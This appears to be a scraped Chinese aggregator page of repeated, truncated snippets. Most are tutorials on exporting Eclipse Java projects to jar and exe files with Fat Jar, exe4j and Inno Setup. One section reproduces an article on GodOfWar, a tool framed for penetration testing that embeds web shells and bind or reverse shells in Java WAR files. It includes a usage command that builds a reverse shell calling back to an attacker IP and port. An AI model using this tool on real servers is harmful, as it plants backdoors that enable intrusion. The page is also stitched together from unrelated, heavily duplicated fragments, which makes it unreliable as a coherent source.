-
Filebrowser Android文件浏览器源码例子
2021-03-16 20:18:11摘要:Java源码,Android源码,Filebrowser,文件浏览器 Android教程中的实例,filebrowser文件浏览器的源码,通过本源码了解Android读写文件的实现步骤和原理,判断文件类型,以列表显示文件目录等,了解一些底层应用... -
eclipse java生成exe_eclipse java生成exe
2021-02-12 23:32:44一、导出jar文件:如果你的程序开发已经接近尾声了,正准备将其生成桌面可执行文件却不知道该如何操作时,你只要按照以下步骤实行即可:选中你的项目---然后右击弹出选项列表---选择Export---Java---jar file---next...一、导出jar文件:
如果你的程序开发已经接近尾声了,正准备将其生成桌面可执行文件却不知道该如何操作时,你只要按照以下步骤实行即可:选中你的项目---然后右击弹出选项列表---选择Export---Java---jar file---next---browser(选择jar的存放路径)---next---next(不管太多继续下一步)---browser(选择你程序的主类--OK)---finish;查看你存放jar的目录,是否已经生成了?如果没有你一定没按照步骤操作.
二、运行jar文件:
生成的jar文件你可以双击运行它,但默认情况下会以压缩包的方式打开,如果这不是你想要的结果,请右击文件---打开方式---选择java(TM)platform来运行.我想这时你应该看到了你的软件界面.先恭喜你了..
三、连同第三方文件一并导出至jar文件:
如果你在程序开发的时候用到了第三方提供的API或者其它附属资源,在你导出生成jar文件时你必须将第三方的文件一并导出,不然你的程序运行将达不到你想要的结果.
你可以利用Fat jar插件生成jar,Fat jar 的下载地址:http://sourceforge.net/projects/fjep/ 下载的文件是net.sf.fjep.fatjar_0.0.31.zip,解压缩后你会看到plugins文件夹中的net.sf.fjep.fatjar_0.0.31.jar文件(简称Fat jar).
插件安装:把Fat jar文件拷贝到你的eclipse目录下的plugins中..重新启动你的eclipse平台,然后查看Window---preferences,弹出的窗口中有Fat jar preferences这一项则说明你已经安装成功了,没有这一项则未安装成功,需要多做如下几步操作:到你的eclipse目录下的configuration---org.eclipse.update,并删除platform.xml文件,然后重新启动eclipse.查看Window---preferences,你会发现Fat jar preferences这一项.恭喜你安装成功了.(未成功可直接去墙撞死)..
用Fat jar打包:右击你的项目,选项列表中有Build Fat jar这一项,选择它,弹出的窗口你会觉得特别亲切,一目了然使用很方便,点击Browser(Main-Class选择你的主类)---next---finish(勾选你需要一起打包的资源,默认为全部勾选).瞧,jar文件就生成在你的工程项目中了.运行它,一切顺利,否则就是你编程的问题了..
另:如果你不想用Fat jar来打包,有一个更快捷的方法可以帮助你,但也是有缺陷的.
步骤:将你需要用到的附属文件放到你的jre安装目录下的\lib\ext目录中(安装JDK的同时也安装了jre),再通过(一、导出jar文件)的方式生成jar.这样就可以了.它有个致命的缺点就是,这样的jar文件只能在你本机可以使用,如果要在别的机子上运行必需在\lib\ext放置同样的附属资源.
四、将jar文件转换成exe可执行文件:
exe文件使用方便,而且还可以提高源码及资源的安全性,但同时也失去了java的初衷--跨平台性.
如果你坚持要转换成exe文件,请按以下方式进行:
利用exe4j这个软件转换jar文件为exe文件,exe4j下载地址:http://www.ej-technologies.com/download/exe4j/files.html,(目前最新版本为4.2)有的需要安装,有的只要解压缩即可用.我一般用安装的exe4j软件,它们没有什么区别,因此找个可以用的就行了.下载安装后,运行它,接着按步骤操作:
1.运行后直接点Next.
2.选择第二项“JAR in EXE mode”,之后点击Next.
3.在General---Short name of your application框中输入你的应用程序的名字(随便即可),在Directories---Output directory框中输入生成exe后的保存路径,然后Next.
4.在Excutable name框中输入将要生成的exe的名字,“Icon File”是应用程序显示的小图标,不选也行.继续Next.
5.必须先配置Class-Path,点击+号添加文件,即jar文件,如果有用到其它资源需要把资源一起添加进去.
6.General --- Main Class选择主类.
7.Java Version --- Minimum version(低版本必须填写),Maximum version(高版本可以为空),如果都有填写那么高版本的值必须大于低版本的值.
8.勾选Allow JREs with a beta version number以及Only allow JDKs and no JREs.接着Next.到这一步你可以直接finish.这样就把jar转换成exe文件了.你可以点击Click Here to Start the Application按钮测试生成的文件.
-
java文件生成exe_java程序生成exe执行文件
2021-02-12 13:52:33一、导出jar文件:如果你的程序开发已经接近尾声了,正准备将其生成桌面可执行文件却不知道该如何操作时,你只要按照以下步骤实行即可:选中你的项目---然后右击弹出选项列表---选择Export---Java---jar file---next...一、导出jar文件:
如果你的程序开发已经接近尾声了,正准备将其生成桌面可执行文件却不知道该如何操作时,你只要按照以下步骤实行即可:选中你的项目---然后右击弹出选项列表---选择Export---Java---jar file---next---browser(选择jar的存放路径)---next---next(不管太多继续下一步)---browser(选择你程序的主类--OK)---finish;查看你存放jar的目录,是否已经生成了?如果没有你一定没按照步骤操作.
二、运行jar文件:
生成的jar文件你可以双击运行它,但默认情况下会以压缩包的方式打开,如果这不是你想要的结果,请右击文件---打开方式---选择java(TM)platform来运行.我想这时你应该看到了你的软件界面.先恭喜你了..
三、连同第三方文件一并导出至jar文件:
如果你在程序开发的时候用到了第三方提供的API或者其它附属资源,在你导出生成jar文件时你必须将第三方的文件一并导出,不然你的程序运行将达不到你想要的结果.
你可以利用Fat jar插件生成jar,Fat jar 的下载地址:http://sourceforge.net/projects/fjep/ 下载的文件是net.sf.fjep.fatjar_0.0.31.zip,解压缩后你会看到plugins文件夹中的net.sf.fjep.fatjar_0.0.31.jar文件(简称Fat jar).
插件安装:
(1)在eclips中安装:把Fat jar文件拷贝到你的eclipse目录下的plugins中..重新启动你的eclipse平台,然后查看Window---preferences,弹出的窗口中有Fat jar preferences这一项则说明你已经安装成功了,没有这一项则未安装成功,需要多做如下几步操作:到你的eclipse目录下的configuration---org.eclipse.update,并删除platform.xml文件,然后重新启动eclipse.查看Window---preferences,你会发现Fat jar preferences这一项.恭喜你安装成功了.(未成功可直接去墙撞死)..
(2)在myeclips中安装:对于MyEclipse 6.5 同意放到plugins 文件夹下面。重启即可使用。 对于MyEclipse 8.6 由于软件的的更新,相应的目录页发生了变化,则需要将 net.sf.fjep.fatjar_0.0.31.jar 放到 安装目录的 dropins 文件夹下面,重启后就同样可以看到 相应的选项了。
用Fat jar打包:右击你的项目,选项列表中有Build Fat jar这一项,选择它,弹出的窗口你会觉得特别亲切,一目了然使用很方便,点击Browser(Main-Class选择你的主类)---next---finish(勾选你需要一起打包的资源,默认为全部勾选).瞧,jar文件就生成在你的工程项目中了.运行它,一切顺利,否则就是你编程的问题了..
(3)图例:
开始:在你的工程项目里右键弹出下图:
然后Buile Fat Jar出现下图:
再然后就Next了,又出现下图:
再然后就没了。在桌面上找到刚刚打包的libr.jar双击,终于成功了,酷啊!!!!
另:如果你不想用Fat jar来打包,有一个更快捷的方法可以帮助你,但也是有缺陷的.
步骤:将你需要用到的附属文件放到你的jre安装目录下的\lib\ext目录中(安装JDK的同时也安装了jre),再通过(一、导出jar文件)的方式生成jar.这样就可以了.它有个致命的缺点就是,这样的jar文件只能在你本机可以使用,如果要在别的机子上运行必需在\lib\ext放置同样的附属资源.
四、将jar文件转换成exe可执行文件:
exe文件使用方便,而且还可以提高源码及资源的安全性,但同时也失去了java的初衷--跨平台性.
如果你坚持要转换成exe文件,请按以下方式进行:
利用exe4j这个软件转换jar文件为exe文件,exe4j下载地址:http://www.ej-technologies.com/download/exe4j/files.html,(目前最新版本为4.2)http://download.csdn.net/source/2393519有的需要安装,有的只要解压缩即可用.我一般用安装的exe4j软件,它们没有什么区别,因此找个可以用的就行了.下载安装后,运行它,接着按步骤操作:
1.运行后直接点Next.
2.选择第二项“JAR in EXE mode”,之后点击Next.
3.在General---Short name of your
application框中输入你的应用程序的名字(随便即可),在Directories---Output
directory框中输入生成exe后的保存路径,然后Next.
4.在Excutable name框中输入将要生成的exe的名字,“Icon
File”是应用程序显示的小图标,不选也行.继续Next.
5.必须先配置Class-Path,点击+号添加文件,即jar文件,如果有用到其它资源需要把资源一起添加进去.
6.General --- Main Class选择主类.
7.Java Version --- Minimum version(低版本必须填写),Maximum
version(高版本可以为空),如果都有填写那么高版本的值必须大于低版本的值.
8.勾选Allow JREs with a beta version number以及Only allow JDKs and no
JREs.接着Next.到这一步你可以直接finish.这样就把jar转换成exe文件了.你可以点击Click Here to
Start the Application按钮测试生成的文件.
到这里就完毕了,对你有没有帮助呢?我想多少解决一些人的烦恼是有的..
分类: 学习2010-05-25 21:572033人阅读评论(4)收藏举报
此文章是为了帮助刚接触j2se或不懂如何打包jar文件的人而着笔,同时也是让自己的知识以文章的形式保存起来.
一、导出jar文件:
如果你的程序开发已经接近尾声了,正准备将其生成桌面可执行文件却不知道该如何操作时,你只要按照以下步骤实行即可:选中你的项目---然后右击弹出选项列表---选择Export---Java---jar
file---next---browser(选择jar的存放路径)---next---next(不管太多继续下一步)---browser(选择你程序的主类--OK)---finish;查看你存放jar的目录,是否已经生成了?如果没有你一定没按照步骤操作.
二、运行jar文件:
生成的jar文件你可以双击运行它,但默认情况下会以压缩包的方式打开,如果这不是你想要的结果,请右击文件---打开方式---选择java(TM)platform来运行.我想这时你应该看到了你的软件界面.先恭喜你了..
三、连同第三方文件一并导出至jar文件:
如果你在程序开发的时候用到了第三方提供的API或者其它附属资源,在你导出生成jar文件时你必须将第三方的文件一并导出,不然你的程序运行将达不到你想要的结果.
你可以利用Fat jar插件生成jar,Fat jar 的下载地址:http://sourceforge.net/projects/fjep/ 下载的文件是net.sf.fjep.fatjar_0.0.31.zip,解压缩后你会看到plugins文件夹中的net.sf.fjep.fatjar_0.0.31.jar文件(简称Fat
jar).
插件安装:把Fat
jar文件拷贝到你的eclipse目录下的plugins中..重新启动你的eclipse平台,然后查看Window---preferences,弹出的窗口中有Fat
jar
preferences这一项则说明你已经安装成功了,没有这一项则未安装成功,需要多做如下几步操作:到你的eclipse目录下的configuration---org.eclipse.update,并删除platform.xml文件,然后重新启动eclipse.查看Window---preferences,你会发现Fat
jar preferences这一项.恭喜你安装成功了.(未成功可直接去墙撞死)..
用Fat jar打包:右击你的项目,选项列表中有Build Fat
jar这一项,选择它,弹出的窗口你会觉得特别亲切,一目了然使用很方便,点击Browser(Main-Class选择你的主类)---next---finish(勾选你需要一起打包的资源,默认为全部勾选).瞧,jar文件就生成在你的工程项目中了.运行它,一切顺利,否则就是你编程的问题了..
另:如果你不想用Fat jar来打包,有一个更快捷的方法可以帮助你,但也是有缺陷的.
步骤:将你需要用到的附属文件放到你的jre安装目录下的/lib/ext目录中(安装JDK的同时也安装了jre),再通过(一、导出jar文件)的方式生成jar.这样就可以了.它有个致命的缺点就是,这样的jar文件只能在你本机可以使用,如果要在别的机子上运行必需在/lib/ext放置同样的附属资源.
四、将jar文件转换成exe可执行文件:
exe文件使用方便,而且还可以提高源码及资源的安全性,但同时也失去了java的初衷--跨平台性.
如果你坚持要转换成exe文件,请按以下方式进行:
利用exe4j这个软件转换jar文件为exe文件,exe4j下载地址:http://www.ej-technologies.com/download/exe4j/files.html,(目前最新版本为4.2)http://download.csdn.net/source/2393519有的需要安装,有的只要解压缩即可用.我一般用安装的exe4j软件,它们没有什么区别,因此找个可以用的就行了.下载安装后,运行它,接着按步骤操作:
1.运行后直接点Next.
2.选择第二项“JAR in EXE mode”,之后点击Next.
3.在General---Short name of your
application框中输入你的应用程序的名字(随便即可),在Directories---Output
directory框中输入生成exe后的保存路径,然后Next.
4.在Excutable name框中输入将要生成的exe的名字,“Icon
File”是应用程序显示的小图标,不选也行.继续Next.
5.必须先配置Class-Path,点击+号添加文件,即jar文件,如果有用到其它资源需要把资源一起添加进去.
6.General --- Main Class选择主类.
7.Java Version --- Minimum version(低版本必须填写),Maximum
version(高版本可以为空),如果都有填写那么高版本的值必须大于低版本的值.
8.勾选Allow JREs with a beta version number以及Only allow JDKs and no
JREs.接着Next.到这一步你可以直接finish.这样就把jar转换成exe文件了.你可以点击Click Here to
Start the Application按钮测试生成的文件.
到这里就完毕了,对你有没有帮助呢?我想多少解决一些人的烦恼是有的..
myeclipse 安装 net.sf.fjep.fatjar 插件
插件介绍:
这个插件可以帮助你将自己的程序连同第三方的JAR包一起打成一整个的jar包,这样
别人在调用你打成的jar包的时候,就不用再单独下载第三方jar文件了。详细介绍可以百度下。
下载地址:
安装说明:
1:首先解压下载的文件。
2:
1)对与eclipse 可以将解压后的 net.sf.fjep.fatjar_0.0.31.jar 直接放到 plugins
文件夹下面。重启后,右键单击某个工程, 就会出现“Build Fat Jar” 这个新选项。
2)对于MyEclipse 6.5 同意放到plugins 文件夹下面。重启即可使用。
3)对于MyEclipse 8.6 由于软件的的更新,相应的目录页发生了变化,则需要将
net.sf.fjep.fatjar_0.0.31.jar 放到 安装目录的 dropins 文件夹下面,重启后就同样可以看到
相应的选项了。
-
Browser testing TypeScript Flow Configuring Babel Using ES modules Passing arguments to your test files Testing React components Testing Vue.js components Debugging tests with Chrome DevTools ...
-
java project保存_把 java project 发布成为可运行文件
2021-03-01 10:40:31https://blog.csdn.net/qq_34129814/article/details/72990914一、导出jar文件:如果你的程序开发已经接近尾声了,正准备将其生成桌面可执行文件...--选择Export---Java---Runnable JAR file---next---browser(选择...https://blog.csdn.net/qq_34129814/article/details/72990914
一、导出jar文件:
如果你的程序开发已经接近尾声了,正准备将其生成桌面可执行文件却不知道该如何操作时,你只要按照以下步骤实行即可:选中你的项目---然后右击弹出选项列表---选择Export---Java---Runnable JAR file---next---browser(选择jar的存放路径)---browser(选择你程序的主类--OK)---finish;查看你存放jar的目录,是否已经生成了?如果没有你一定没按照步骤操作.
二、运行jar文件:
生成的jar文件你可以双击运行它,但默认情况下会以压缩包的方式打开,如果这不是你想要的结果,请右击文件---打开方式---选择java(TM)platform来运行.我想这时你应该看到了你的软件界面.先恭喜你了..
三、连同第三方文件一并导出至jar文件:
方法一:
如果自己的java project中需要引用额外的jar包作为资源文件,那么需要自己自定义配置文件MANIFEST.MF ,内容示例如下:
Manifest-Version: 1.0
Class-Path: lib\crimson.jar lib\jbcl.jar lib\junit.jar lib\log4j-1.2.13.jar lib\mysql-connector-java-3.1.13-bin.jar
Main-Class: src.YourMainClassName
其中的Class-Paht就指定了外来jar包的位置。请注意假设我们的项目打包后为project.jar,那么按照上面的定义,应该在 project.jar的同层目录下建立一个lib文件夹,并将相关的jar包放在里面。否则将会出现Exception in thread "main" java.lang.NoClassDefFoundError的错误。
最后介绍一下使用Eclipse制作jar包的过程吧:
1. 首先在Eclipse中打开项目, 右键点击项目,选择“Export”;
2. 选择Java/JAR file,Next;
3. Select the resources to export中可以选择你想要包含的项目文件夹,一些不必要的文件夹就无需放进去了,免得增大空间;
这里有几个选项:
* Export generated class files and resources 表示只导出生成的.class文件和其他资源文件
* Export all output folders for checked projects 表示导出选中项目的所有文件夹
* Export java source file and resouces 表示导出的jar包中将包含你的源代码*.java,如果你不想泄漏源代码,那么就不要选这项了
* Export refactorings for checked projects 把一些重构的信息文件也包含进去
在Select the export destination中选择导出的jar的路径,Next
4. 下一页可以选择是否导出那些含有警告warning或者错误errors的*.class文件。一般不用理他,Next
5. 下一个页面里可以对项目做一些配置。
* Generate the manifest file是系统帮我们自动生成MANIFEST.MF文件,如果你的项目没有引用其他class-path,那可以选择这一项。
* Use existing mainfest from workspace。这是可以选择我们自定义的.MF文件,格式如上所写。
* Seal content。要封装整个jar或者指定的包packet
* Main class。这里可以选择你的程序入口,将来打包出来的jar就是你这个入口类的执行结果。
最后Finish,搞定。
方法二:
如果你在程序开发的时候用到了第三方提供的API或者其它附属资源,在你导出生成jar文件时你必须将第三方的文件一并导出,不然你的程序运行将达不到你想要的结果.
你可以利用Fat jar插件生成jar,Fat jar 的下载地址:http://sourceforge.net/projects/fjep/ 下载的文件是net.sf.fjep.fatjar_0.0.31.zip,解压缩后你会看到plugins文件夹中的net.sf.fjep.fatjar_0.0.31.jar文件(简称Fat jar).
插件安装:把Fat jar文件拷贝到你的eclipse目录下的plugins中..重新启动你的eclipse平台,然后查看Window---preferences,弹出的窗口中有Fat jar preferences这一项则说明你已经安装成功了,没有这一项则未安装成功,需要多做如下几步操作:到你的eclipse目录下的configuration---org.eclipse.update,并删除platform.xml文件,然后重新启动eclipse.查看Window---preferences,你会发现Fat jar preferences这一项.恭喜你安装成功了.(未成功可直接去墙撞死)..
用Fat jar打包:右击你的项目,选项列表中有Build Fat jar这一项,选择它,弹出的窗口你会觉得特别亲切,一目了然使用很方便,点击Browser(Main-Class选择你的主类)---next---finish(勾选你需要一起打包的资源,默认为全部勾选).瞧,jar文件就生成在你的工程项目中了.运行它,一切顺利,否则就是你编程的问题了..
另:如果你不想用Fat jar来打包,有一个更快捷的方法可以帮助你,但也是有缺陷的.
步骤:将你需要用到的附属文件放到你的jre安装目录下的\lib\ext目录中(安装JDK的同时也安装了jre),再通过(一、导出jar文件)的方式生成jar.这样就可以了.它有个致命的缺点就是,这样的jar文件只能在你本机可以使用,如果要在别的机子上运行必需在\lib\ext放置同样的附属资源.
四、将jar文件转换成exe可执行文件:
exe文件使用方便,而且还可以提高源码及资源的安全性,但同时也失去了java的初衷--跨平台性.
如果你坚持要转换成exe文件,请按以下方式进行:
利用exe4j这个软件转换jar文件为exe文件,exe4j下载地址:http://www.ej-technologies.com/download/exe4j/files.html,(目前最新版本为4.2)http://download.csdn.net/source/2393519有的需要安装,有的只要解压缩即可用.我一般用安装的exe4j软件,它们没有什么区别,因此找个可以用的就行了.下载安装后,运行它,接着按步骤操作:
1.运行后直接点Next.
2.选择第二项“JAR in EXE mode”,之后点击Next.
3.在General---Short name of your application框中输入你的应用程序的名字(随便即可),在Directories---Output directory框中输入生成exe后的保存路径,然后Next.
4.在Excutable name框中输入将要生成的exe的名字,“Icon File”是应用程序显示的小图标,不选也行.继续Next.
5.必须先配置Class-Path,点击+号添加文件,即jar文件,如果有用到其它资源需要把资源一起添加进去.
6.General --- Main Class选择主类.
7.Java Version --- Minimum version(低版本必须填写),Maximum version(高版本可以为空),如果都有填写那么高版本的值必须大于低版本的值.
8.根据实际情况勾选Allow JREs with a beta version number、Only allow JDKs and no JREs.接着Next.到这一步你可以直接finish.这样就把jar转换成exe文件了.你可以点击Click Here to Start the Application按钮测试生成的文件.
到这里就完毕了,对你有没有帮助呢?我想多少解决一些人的烦恼是有的..
用inno setup制作成安装包:
1、安装并打开inno setup 软件
① 运行环境
系统:Windows 7
软件:inno setup 5.5.5
② 安装 inno setup 5.5.5完成后,点击 “开始” → “所有程序” → “Inno Setup 5” → “Inno Setup” ,运行 Inno Setup 编译器;
在弹出的 “欢迎” 对话框中点击 “取消”,便可看到 Inno Setup 编译器的主界面
2、按向导完成打包
① 在主界面菜单中,点击 “文件” → “新建”
在弹出的 “Inno Setup 脚本向导” 对话框中点击 “下一步”
② 在弹出的 “应用程序信息” 对话框里填写要制作程序 “安装包” 信息,点击“下一步” 弹出 “应用程序文件夹”;
“应用程序文件夹” 对话框如下图,一般默认即可,
点击 “下一步” 弹出 “应用程序文件” 对话框,点击 “应用程序主执行文件(M)” 下的 “浏览”按钮,
选择相应的应用程序主执行文件(TCP调试助手(V1.9).exe);
再点击 “添加文件夹”按钮,在弹出的 “浏览文件夹”对话框选择要封装文件夹,单击“确定”
在弹出的“配置”对话框中点击“是”按钮,
③ 选中“ E:\TCP调试助手\* ” ,点击 “编辑”按钮,便可定义刚才添加的文件夹制作成 “安装包” 之后的安装路径,一般默认即可
④ 选择完成后点击 “确定” ,然后点击 “下一步” ,弹出 “应用程序图标” 对话框,勾选 “在开始菜单文件夹中创建卸载图标(U)”
⑤ 点击 “下一步” ,弹出 “应用程序文档” 对话框,均可为空
⑥ 完成之后点击 “下一步” 弹出 “安装语言” 对话框,根据需要勾选语言
⑦ 完成之后点击 “下一步” 弹出 “编译设置” 对话框;
⑧ 点击 “下一步” 弹出 “Inno Setup 预处理器” 对话框;
点击 “下一步” 弹出 “你已经成功完成 Inno Setup 脚本向导”;
⑨ 点击 “完成” ,弹出 “Inno Setup 编译器” 提示窗口
⑩ 编译脚本
在前面 “Inno Setup 编译器” 提示窗口中选择 “是” ,或者在主菜单 “构建” → “编译”
3、脚本代码示例
其他脚本详情请查看 Inno Setup 帮助文档
-
java面试宝典
2013-02-28 16:04:01130、如何防止在JSP或SERVLET中的输出不被BROWSER保存在CACHE中? 32 131、在JSP中如何设置COOKIE? 32 132、在JSP中如何删除一个COOKIE? 32 133、在一个JSP的请求处理中如何停止JSP的执行 33 134、在JSP中如何定义... -
java面试题以及技巧
2011-11-25 20:45:30基于MVC的.java.web设计与开发.pdf │ 学习Struts提供的和Form相关标签.txt │ 日企编码规范.doc │ 电信盈科面试题.pdf │ 速算.txt │ 面试题URL.txt │ ├─Javascript │ │ javascript资料(源码,教材,ppt).... -
jekins shell 构建后操作_GodOfWar:可嵌入恶意Payload的JavaWAR构建工具
2020-12-26 00:00:43今天给大家介绍的是一款名叫GodOfWar的开源Java WAR构建工具,在该工具的帮助下,研究人员可以轻松向Java WAR包中嵌入恶意Payload。...功能介绍1、 已嵌入的Payload(尝试命令-l/--list)-cmd_get-filebrowser-b...今天给大家介绍的是一款名叫GodOfWar的开源Java WAR构建工具,在该工具的帮助下,研究人员可以轻松向Java WAR包中嵌入恶意Payload。
GodOfWar采用Ruby开发,是一款专用于生成恶意WAR Payload的命令行工具,该工具仅限于渗透测试或红队研究使用。
功能介绍
1、 已嵌入的Payload(尝试命令-l/--list)
-cmd_get
-filebrowser
-bind_shell
-reverse_shell
-reverse_shell_ui
2、可配置的后门(尝试命令--host/--port)
3、Payload名称控制
-修改恶意Payload名称,绕过URL签名验证机制
工具安装
$ gem install godofwar
工具使用
$godofwar -h
Helpmenu:
-p, --payload PAYLOAD 利用已有Payload生成恶意WAR文件
(check-l/--list)
-H, --host IP_ADDR 设置指定Payload的本地或远程IP地址
(used with -p/--payload)
-P, --port PORT 设置指定Payload的本地或远程端口号
(usedwith -p/--payload)
-o, --output [FILE] 输出文件并设置开发名称
(default isthe payload original name. check '-l/--list')
-l, --list 枚举所有可用的Payload
-h, --help 显示帮助信息
使用样例
枚举所有Payload:
$godofwar -l├── cmd_get│ └── Information:│ ├── Description:Command execution via web interface│ ├── OS: any│ ├── Settings: {"false"=>"No Settingsrequired!"}│ ├── Usage: http://host/cmd.jsp?cmd=whoami│ ├── References: ["https://github.com/danielmiessler/SecLists/tree/master/Payloads/laudanum-0.8/jsp"]│ └── Local Path: /var/lib/gems/2.5.0/gems/godofwar-1.0.1/payloads/cmd_get├── filebrowser│ └── Information:│ ├── Description: Remotefile browser, upload, download, unzip files and native command execution│ ├── OS: any│ ├── Settings: {"false"=>"No Settingsrequired!"}│ ├── Usage: http://host/filebrowser.jsp│ ├── References: ["http://www.vonloesch.de/filebrowser.html"]│ └── Local Path: /var/lib/gems/2.5.0/gems/godofwar-1.0.1/payloads/filebrowser├── bind_shell│ └── Information:│ ├── Description: TCPbind shell│ ├── OS: any│ ├── Settings: {"port"=>4444,"false"=>"No Settings required!"}│ ├── Usage: http://host/reverse-shell.jsp│ ├── References: ["Metasploit - msfvenom -pjava/jsp_shell_bind_tcp"]│ └── Local Path: /var/lib/gems/2.5.0/gems/godofwar-1.0.1/payloads/bind_shell├── reverse_shell_ui│ └── Information:│ ├── Description: TCPreverse shell with a HTML form to set LHOST and LPORT from browser.│ ├── OS: any│ ├── Settings: {"host"=>"attacker","port"=>4444, "false"=>"No Settingsrequired!"}│ ├── Usage: http://host/reverse_shell_ui.jsp│ ├── References: []│ └── Local Path: /var/lib/gems/2.5.0/gems/godofwar-1.0.1/payloads/reverse_shell_ui├── reverse_shell│ └── Information:│ ├── Description: TCPreverse shell. LHOST and LPORT are hardcoded│ ├── OS: any│ ├── Settings: {"host"=>"attacker","port"=>4444, "false"=>"No Settingsrequired!"}│ ├── Usage: http://host/reverse_shell.jsp│ ├── References: []│ └── Local Path: /var/lib/gems/2.5.0/gems/godofwar-1.0.1/payloads/reverse_shell
生成Payload并配置LHOST和LPORT:
godofwar -p reverse_shell -H 192.168.100.10 -P 9911 -o puppy
开发完成之后,你可以进入(http://host:8080/puppy/puppy.jsp)来访问你的shell。
添加额外后门支持
1、 在payloads目录下创建一个新的文件夹。
2、 把自己开发的jsp文件存放到这个文件夹中。
3、 更新payloads_info.json文件中的下列参数:
-文件描述
-支持的操作系统(尽量覆盖所有操作系统)
-配置信息:默认主机和端口号
-引用:Payload的原始创建者信息
项目地址
GodOfWar:【GitHub传送门】
许可证协议
本项目遵循MIT开源许可证协议。
参考来源:godofwar,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM。
推荐阅读
-
java面试题及技巧4
2011-11-25 20:42:35基于MVC的.java.web设计与开发.pdf │ 学习Struts提供的和Form相关标签.txt │ 日企编码规范.doc │ 电信盈科面试题.pdf │ 速算.txt │ 面试题URL.txt │ ├─Javascript │ │ javascript资料(源码,教材,ppt).... -
Java生成可执行程序EXE
2010-12-11 17:35:32如果你的程序开发已经接近尾声了,正准备将其生成桌面可执行文件却不知道该如何操作时,你只要按照以下步骤实行即可:选中你的项目---然后右击弹出选项列表---选择Export---Java---jar file---next---browser(选择... -
java 面试题 总结
2009-09-16 08:45:34JAVA相关基础知识 1、面向对象的特征有哪些方面 1.抽象: 抽象就是忽略一个主题中与当前目标无关的那些方面,以便更充分地注意与当前目标有关的方面。抽象并不打算了解全部问题,而只是选择其中的一部分,暂时不用... -
java project发布成运行jar包
2012-07-01 21:43:58如果你的程序开发已经接近尾声了,正准备将其生成桌面可执行文件却不知道该如何操作时,你只要按照以下步骤实行即可:选中你的项目---然后右击弹出选项列表---选择Export---Java---jar file---next---browser(选择... -
把 java project 发布成为可运行文件
2014-01-17 11:22:16一、导出jar文件: 如果你的程序开发已经接近尾声了,正准备将其生成桌面可执行文件却不知道该如何操作时,你只要按照以下步骤实行即可:选中你的项目---然后右击弹出选项列表---选择Export---Java---jar file---... -
可嵌入恶意Payload的JavaWAR构建工具GodOfWar
2019-10-14 11:12:57GodOfWar采用Ruby开发,是一款专用于生成恶意WAR Payload的命令行工具,该工具仅限于渗透测试...-filebrowser -bind_shell -reverse_shell -reverse_shell_ui 2、可配置的后门(尝试命令–host/–port) 3、Payload... -
myeclipse中将项目(java project)导出jar或.exe文件
2013-10-07 18:57:40如果你的程序开发已经接近尾声了,正准备将其生成桌面可执行文件却不知道该如何操作时,你只要按照以下步骤实行即可:选中你的项目---然后右击弹出选项列表---选择Export---Java---jar file---next---browser(选择... -
myeclipse中将项目(java project)导出jar或.exe文件 .
2013-06-25 14:52:06如果你的程序开发已经接近尾声了,正准备将其生成桌面可执行文件却不知道该如何操作时,你只要按照以下步骤实行即可:选中你的项目---然后右击弹出选项列表---选择Export---Java---jar file---next---browser(选择... -
myeclipse 中将项目(java project)导出jar或.exe文件
2012-07-23 09:43:29如果你的程序开发已经接近尾声了,正准备将其生成桌面可执行文件却不知道该如何操作时,你只要按照以下步骤实行即可:选中你的项目---然后右击弹出选项列表---选择Export---Java---jar file---next---browser(选择... -
idea 安装 阿里开发插件
2021-01-12 21:57:32idea安装阿里开发插件 比起bug,我们更怕隐藏的bug,最怕莫名其妙的错误折腾半天查不...alibaba java coding guidelines->install 3、restart idea 注意:最开始的时候在file->settings 下找不到plugins,要在id -
超级有影响力霸气的Java面试题大全文档
2012-07-18 09:47:04超级有影响力的Java面试题大全文档 1.抽象: 抽象就是忽略一个主题中与当前目标无关的那些方面,以便更充分地注意与当前目标有关的方面。抽象并不打算了解全部问题,而只是选择其中的一部分,暂时不用部分细节。... -
使用myeclipse进行hibernate快速开发
2014-02-08 16:32:00File->new->java project 2、通过myeclipse提供数据库浏览器连接到我们的oracle数据库 Window->Open Perspective->MyEclipse Database Explorer 3、新建一个数据库的连接配置,把自己的数据库通过... -
ORACLE OSB开发指南
2012-06-18 11:28:27ORACLE OSB开发指南,英文版。 目录: Part I IDE Help for Oracle Service Bus 1 Introduction to Oracle Service Bus 2 Tasks Working with Projects, Folders, Resources, and Configurations ..................... -
The local CA is now installed in the Firefox trust store (requires browser restart)! $ mkcert example.com "*.example.com" example.test localhost 127.0.0.1 ::1 Created a new certificate valid for ...
-
To run Metabase via a JAR file, you will need to have a Java Runtime Environment installed on your system. We recommend the latest LTS version of JRE from AdoptOpenJDK with HotSpot JVM and x64 ...
-
ipfs-companion - The IPFS web browser extension. ipfs-webui - The IPFS WebUI app. ipfs-desktop - A menubar/tray desktop app. ipfs-gui - Coordinating development, user experience, and maintenance of...
-
MyEclipse中将项目导出jar包,以及转化成EXE文件
2012-11-20 16:25:54如果你的程序开发已经接近尾声了,正准备将其生成桌面可执行文件却不知道该如何操作时,你只要按照以下步骤实行即可:选中你的项目---然后右击弹出选项列表---选择Export---Java---jar file---next---browser(选择... -
JAR package tools
2012-05-13 09:10:27如果你的程序开发已经接近尾声了,正准备将其生成桌面可执行文件却不知道该如何操作时,你只要按照以下步骤实行即可:选中你的项目---然后右击弹出选项列表---选择Export---Java---jar file---next---browser(选择... -
eclipse 导出jar文件 并转为.exe
2012-09-22 11:30:53如果你的程序开发已经接近尾声了,正准备将其生成桌面可执行文件却不知道该如何操作时,你只要按照以下步骤实行即可:选中你的项目---然后右击弹出选项列表---选择Export---Java---jar file---next---browser(选择... -
Eclipse中将项目导出jar包,以及转化成exe文件
2012-05-21 11:26:09如果你的程序开发已经接近尾声了,正准备将其生成桌面可执行文件却不知道该如何操作时,你只要按照以下步骤实行即可:选中你的项目---然后右击弹出选项列表---选择Export---Java---jar file---next---browser(选择... -
fatjar: eclipse导出工具
2012-12-26 22:26:00一、导出jar文件:如果你的程序开发已经接近尾声了,正准备将其生成桌面可执行文件却不知道该如何操作时,你只要按照以下步骤实行即可:选中你的项目---然后右击弹出选项列表---选择Export---Java---jarfile---next-...